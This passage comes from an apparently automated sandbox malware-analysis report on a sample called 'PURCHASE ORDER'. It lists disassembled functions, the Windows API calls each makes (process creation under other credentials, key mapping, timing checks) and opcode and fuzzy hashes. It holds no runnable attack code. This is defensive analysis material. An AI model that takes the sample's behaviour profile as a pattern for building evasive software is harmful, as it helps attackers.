                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Enable$Show$MessageSend
                                                                          • String ID:
                                                                          • API String ID: 1871949834-0
                                                                          • Opcode ID: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                          • Instruction ID: fbfed122d4da650e42f877d7e8bff2bfe9b33138fa51555fe8345b8bcc16d821
                                                                          • Opcode Fuzzy Hash: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                          • Instruction Fuzzy Hash: A731F3B07443819BF7248E14C8C4BAFB7D0AB95345F08482EF981A63D1DBAC9846872A
                                                                          Function 00449606 Relevance: 9.1, APIs: 6, Instructions: 91windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 0044961A
                                                                          • SendMessageW.USER32 ref: 0044964A
                                                                            • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                          • SendMessageW.USER32(?,00001074,?,00000001), ref: 004496AC
                                                                          • _wcslen.LIBCMT ref: 004496BA
                                                                          • _wcslen.LIBCMT ref: 004496C7
                                                                          • SendMessageW.USER32(?,00001074,?,?), ref: 004496FD
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$_wcslen$_memset_wcspbrk
                                                                          • String ID:
                                                                          • API String ID: 1624073603-0
                                                                          • Opcode ID: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                          • Instruction ID: 7e49a266cf7116299f7bc8659d1ce07b00adedb8b3f1b428e1954e4b11147a1e
                                                                          • Opcode Fuzzy Hash: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                          • Instruction Fuzzy Hash: B631CA71508300AAE720DF15DC81BEBB7D4EBD4720F504A1FFA54862D0EBBAD945C7A6
                                                                          Function 004416D1 Relevance: 9.1, APIs: 6, Instructions: 84COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                          • Instruction ID: 0263b137e1f68684b0dae4bb7f633391a2f723f0f4072b7ce39308acd6c8c458
                                                                          • Opcode Fuzzy Hash: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                          • Instruction Fuzzy Hash: 31219272245110ABE7108B68DCC4B6F7798EB96374F240A3AF512C61E1EA7998C1C769
                                                                          Function 0045552E Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004555AD
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: DestroyWindow$DeleteObject$IconMove
                                                                          • String ID:
                                                                          • API String ID: 1640429340-0
                                                                          • Opcode ID: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                          • Instruction ID: 2ee25f48dcb0ad8048bc4d9c922f6cac320a9d705fdb810e808868a6102f62dc
                                                                          • Opcode Fuzzy Hash: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                          • Instruction Fuzzy Hash: 05312770200A419FD724DF24C998B3A73F9FB44312F4485AAE945CB266E778EC49CB69
                                                                          Function 00467E5E Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __fileno__setmode$DebugOutputString_fprintf
                                                                          • String ID:
                                                                          • API String ID: 3354276064-0
                                                                          • Opcode ID: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                          • Instruction ID: 1e9a75ed7ce68f0ee686932f25d41d1f14ae1a91d469003489e3a0780bce169f
                                                                          • Opcode Fuzzy Hash: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                          • Instruction Fuzzy Hash: 6D11F3B2D0830136D500BA366C02AAF7A5C4A91B5CF44056EFD4563293EA2DAA4943FF
                                                                          Function 00455080 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Destroy$DeleteMenuObject$IconWindow
                                                                          • String ID:
                                                                          • API String ID: 752480666-0
                                                                          • Opcode ID: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                          • Instruction ID: bf467a0aa8f060071afd9cdae546a2eb92d9c059e8a57ac1e588bb5f3fc3a395
                                                                          • Opcode Fuzzy Hash: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                          • Instruction Fuzzy Hash: 26215E30200A019FC724DF24D5E8B7AB7A9FB44312F50855EED498B392CB39EC89CB59
                                                                          Function 00455212 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DestroyWindow.USER32(00000000), ref: 0045527A
                                                                          • ImageList_Destroy.COMCTL32(?), ref: 0045528C
                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                          • String ID:
                                                                          • API String ID: 3275902921-0
                                                                          • Opcode ID: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                          • Instruction ID: c357af2a313eda44c34a26cb015c973203dd8f66e4d80e74dc1abfaeb9ce60f9
                                                                          • Opcode Fuzzy Hash: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                          • Instruction Fuzzy Hash: 2D217E70604A019BC714DF79D99466AB7A5BF44311F40856EF919CB342DB38E849CF68
                                                                          Function 00439326 Relevance: 9.1, APIs: 6, Instructions: 72processCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
                                                                          • OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
                                                                          • CreateEnvironmentBlock.USERENV(?,?,00000001,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439376
                                                                          • CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
                                                                          • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
                                                                          • DestroyEnvironmentBlock.USERENV(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 004393D4
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                          • String ID:
                                                                          • API String ID: 1413079979-0
                                                                          • Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                          • Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
                                                                          • Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                          • Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25
                                                                          Function 0041415E Relevance: 9.1, APIs: 6, Instructions: 71threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ___set_flsgetvalue.LIBCMT ref: 0041418F
                                                                          • __calloc_crt.LIBCMT ref: 0041419B
                                                                          • __getptd.LIBCMT ref: 004141A8
                                                                          • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                                                                          • __dosmaperr.LIBCMT ref: 00414201
                                                                            • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                            • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                          • String ID:
                                                                          • API String ID: 1803633139-0
                                                                          • Opcode ID: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                          • Instruction ID: ec3febacf030228bba34671a5a373aa86179f0c9a00f1e1343e4adce14cbcb36
                                                                          • Opcode Fuzzy Hash: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                          • Instruction Fuzzy Hash: 1311DD72504209BFCB10AFA5DC828DF7BA8EF44368B20446EF50193151EB39C9C18A68
                                                                          Function 004555E0 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ImageList_Destroy.COMCTL32(?), ref: 004555E8
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                          • String ID:
                                                                          • API String ID: 3275902921-0
                                                                          • Opcode ID: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                          • Instruction ID: 9e206caaed87a4944845468030bda76e3f946505fe2e652cce1cc100bc4c7c20
                                                                          • Opcode Fuzzy Hash: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                          • Instruction Fuzzy Hash: BE2141702006409FCB25DF25C994A2B77A9FF44312F80856EED49CB352DB39EC4ACB59
                                                                          Function 004554B5 Relevance: 9.1, APIs: 6, Instructions: 62windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32 ref: 004554DF
                                                                          • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004554FA
                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: DeleteDestroyMessageObjectSend$IconWindow
                                                                          • String ID:
                                                                          • API String ID: 3691411573-0
                                                                          • Opcode ID: 72621546fc85f43182a2d7aa0f69f9d8a5c0b98b4bf428e1f87a25fd8cd6fa89
                                                                          • Instruction ID: 46bf5c356378f1810468ef4d8dfe2f1c399e91f4bdd480ef4a2643e810f8fbb4
                                                                          • Opcode Fuzzy Hash: 72621546fc85f43182a2d7aa0f69f9d8a5c0b98b4bf428e1f87a25fd8cd6fa89
                                                                          • Instruction Fuzzy Hash: 8B1108713047419BC710DF68DDC8B2A77A8BB14322F400A6AFD14DB2D2D778DC498769
                                                                          Function 0043609C Relevance: 9.1, APIs: 6, Instructions: 59COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcslen$_wcstok$ExtentPoint32Text
                                                                          • String ID:
                                                                          • API String ID: 1814673581-0
                                                                          • Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                          • Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
                                                                          • Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                          • Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA
                                                                          Function 00436272 Relevance: 9.1, APIs: 6, Instructions: 59sleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
                                                                          • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
                                                                          • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
                                                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                          • String ID:
                                                                          • API String ID: 2833360925-0
                                                                          • Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                          • Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
                                                                          • Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                          • Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96
                                                                          Function 004471EC Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                            • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                            • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
                                                                          • LineTo.GDI32(?,?,?), ref: 00447227
                                                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
                                                                          • LineTo.GDI32(?,?,?), ref: 0044723D
                                                                          • EndPath.GDI32(?), ref: 0044724E
                                                                          • StrokePath.GDI32(?), ref: 0044725C
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                                                          • String ID:
                                                                          • API String ID: 372113273-0
                                                                          • Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                          • Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
                                                                          • Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                          • Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD
                                                                          Function 00410940 Relevance: 9.0, APIs: 6, Instructions: 49keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041098F
                                                                          • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410997
                                                                          • MapVirtualKeyW.USER32(000000A0,00000000), ref: 004109A2
                                                                          • MapVirtualKeyW.USER32(000000A1,00000000), ref: 004109AD
                                                                          • MapVirtualKeyW.USER32(00000011,00000000), ref: 004109B5
                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 004109BD
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Virtual
                                                                          • String ID:
                                                                          • API String ID: 4278518827-0
                                                                          • Opcode ID: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                          • Instruction ID: 14dd698fb88c41d3cb2937c08abaa7ad6cdafd80764dd657d9f2199fb51feb0a
                                                                          • Opcode Fuzzy Hash: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                          • Instruction Fuzzy Hash: 52112A6118ABC4ADD3329F694854A87FFE45FB6304F484A8ED1D607A43C195A60CCBBA
                                                                          Function 0044CBD3 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetDC.USER32(00000000), ref: 0044CBEF
                                                                          • GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC00
                                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC09
                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 0044CC10
                                                                          • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CC29
                                                                          • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0044CC37
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
